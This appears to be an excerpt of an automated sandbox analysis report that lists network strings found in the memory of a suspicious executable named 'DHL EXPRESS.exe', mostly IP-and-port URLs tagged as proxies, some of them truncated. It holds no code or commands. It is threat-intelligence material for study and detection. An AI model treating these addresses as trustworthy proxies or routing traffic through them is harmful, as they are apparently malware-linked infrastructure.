Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://140.83.32.175
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://140.83.32.175://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://140.83.32.175:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.136.42.164://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABADC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.136.42.164:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.147.33.121
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.147.33.121://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.147.33.121:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.148.63.29:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.95.160.178:5870
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.95.160.178:5870://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.11.222.22
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.11.222.22://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.11.222.22:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.4.7.20:10722
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.4.7.20:10722://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.4.7.20:43100
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.4.7.20:43100://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.54.226.214:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.54.226.214:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.54.228.193:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.54.228.193:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.54.229.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.54.229.249:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.54.229.249:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.54.231.38:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.54.231.38:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.54.232.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.54.232.6:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.54.232.6:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.54.232.6:4145H
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.54.235.9:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.54.235.9:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.54.236.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.54.236.97:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.54.236.97:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.54.237.34:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.54.237.34:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.137.116
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.137.116.72:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.137.116.72:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.137.83.137:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.137.83.137:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.198.167.240
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.198.167.240://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.198.167.240:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.198.226.25
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.198.226.25://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.198.226.25:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.202.97.171:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.202.97.171:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.208.152.61:3180
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.208.152.61:3180://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.255.140.28:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.255.140.28:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.255.179.129:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.255.179.129:4153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.44.191.108:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.44.191.108:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.64.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.64.8.21:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.64.8.21:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://144.24.122.46
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://144.24.122.46://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://144.24.122.46:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://144.76.96.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://144.76.96.180:5566
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://144.76.96.180:5566://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://144.91.118.176:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://144.91.118.176:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://145.239.199.109:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://145.239.199.109:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.19.106.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.19.106.194:12334
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.19.106.194:12334://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.19.106.217:12334
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.19.106.217:12334://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.19.106.42:12334
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.19.106.42:12334://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.190.51.181:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.190.51.181:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.56.146.5:48384
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.56.146.5:48384://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.147.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.147.11:62801
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.147.11:62801://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.155.82:16276
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.155.82:16276://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.18.2
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.18.246:25810
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.18.246:25810://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD7BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.18.246:30673
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD789000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.18.246:30673://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB19F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.18.246:40975
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB19F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.18.246:40975://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.18.246:49871
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.18.246:49871://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.202.70
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.202.70://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.202.70:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.70.2
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.70.29:6147
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.70.29:6147://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.70.29:8446
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.59.70.29:8446://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB19F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.70.80.76
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB19F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.70.80.76://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB19F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://146.70.80.76:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.124.212
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.124.212.31:11070
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.124.212.31:11070://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.124.212.31:13276
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.124.212.31:13276://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC44D000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC4E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.124.212.31:16844
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC44D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.124.212.31:16844://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.124.212.31:24230://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.124.212.31:36779
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.124.212.31:36779://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.139.133.15:61524
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.139.133.15:61524://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC351000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.75.34.83:10006
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.75.34.83:10006://proxyx
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.75.34.85
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.75.34.85://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.75.34.85:10011
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.75.34.85:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD808000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.75.34.86
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD775000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.75.34.86://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.75.34.86:10000
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.75.34.86:10000://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.75.34.86:10003
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.75.34.86:10003://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.75.34.86:10007
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.75.34.86:10007://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.75.34.86:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.75.92.251:10010
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.75.92.251:10010://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.75.92.251:10089
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.75.92.251:9401
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.75.92.251:9401://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.135.119.4:6666
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.135.119.4:6666://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.135.46.242:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.66.130.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.66.130.53:13305
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.66.130.53:13305://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.66.130.53:23998
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.66.130.53:23998://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.66.130.53:31907
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.66.130.53:31907://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.66.130.53:54209
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.66.130.53:54209://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB19F000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB14B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.66.130.53:56350
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB14B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.66.130.53:56350://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.72.206.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.72.206.84:2536
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.72.206.84:2536://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.72.206.84:58842
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.72.206.84:58842://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.72.209.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.72.209.174:12446
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.72.209.174:12446://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.72.209.174:2906
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.72.209.174:2906://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.72.209.174:4734
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.72.209.174:4734://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.72.212.183:2792
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.72.212.183:2792://proxy
